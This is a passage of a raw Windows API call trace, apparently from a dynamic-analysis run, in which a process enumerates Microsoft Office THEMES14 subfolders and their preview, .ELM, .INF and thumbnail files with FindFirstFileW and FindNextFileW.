lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.146] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.146] GetProcessHeap () returned 0x6a0000 [0170.146] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.146] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.146] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.146] GetProcessHeap () returned 0x6a0000 [0170.146] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.146] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.146] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.147] GetProcessHeap () returned 0x6a0000 [0170.147] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.147] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.147] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.147] GetProcessHeap () returned 0x6a0000 [0170.147] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.147] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.147] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.147] GetProcessHeap () returned 0x6a0000 [0170.147] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.147] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.149] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.149] GetProcessHeap () returned 0x6a0000 [0170.149] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.149] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.150] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.150] GetProcessHeap () returned 0x6a0000 [0170.150] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.150] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.152] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.152] GetProcessHeap () returned 0x6a0000 [0170.152] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.152] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.152] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.153] GetProcessHeap () returned 0x6a0000 [0170.153] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.153] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.155] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.155] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x53b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0170.155] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a053d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a053d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb20e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE.ELM", cAlternateFileName="")) returned 1 [0170.155] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE.INF", cAlternateFileName="")) returned 1 [0170.155] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0170.155] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0170.155] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.155] GetProcessHeap () returned 0x6a0000 [0170.155] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.155] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD", cAlternateFileName="")) returned 1 [0170.155] GetProcessHeap () returned 0x6a0000 [0170.156] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0170.156] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.157] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.157] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0170.157] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b366a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a8037d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b366a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbba7, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD.ELM", cAlternateFileName="")) returned 1 [0170.157] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD.INF", cAlternateFileName="")) returned 1 [0170.157] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0170.157] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0170.157] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.157] GetProcessHeap () returned 0x6a0000 [0170.157] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.157] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL", cAlternateFileName="")) returned 1 [0170.158] GetProcessHeap () returned 0x6a0000 [0170.158] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0170.158] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.159] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.159] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x682, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0170.159] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c679700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c679700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL.ELM", cAlternateFileName="")) returned 1 [0170.159] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL.INF", cAlternateFileName="")) returned 1 [0170.159] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0170.159] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0170.160] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.160] GetProcessHeap () returned 0x6a0000 [0170.160] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.160] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED", cAlternateFileName="")) returned 1 [0170.160] GetProcessHeap () returned 0x6a0000 [0170.160] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0170.160] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.160] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.160] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0170.160] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec9f100, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ec9f100, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb30e, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED.ELM", cAlternateFileName="")) returned 1 [0170.160] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED.INF", cAlternateFileName="")) returned 1 [0170.161] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0170.161] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, 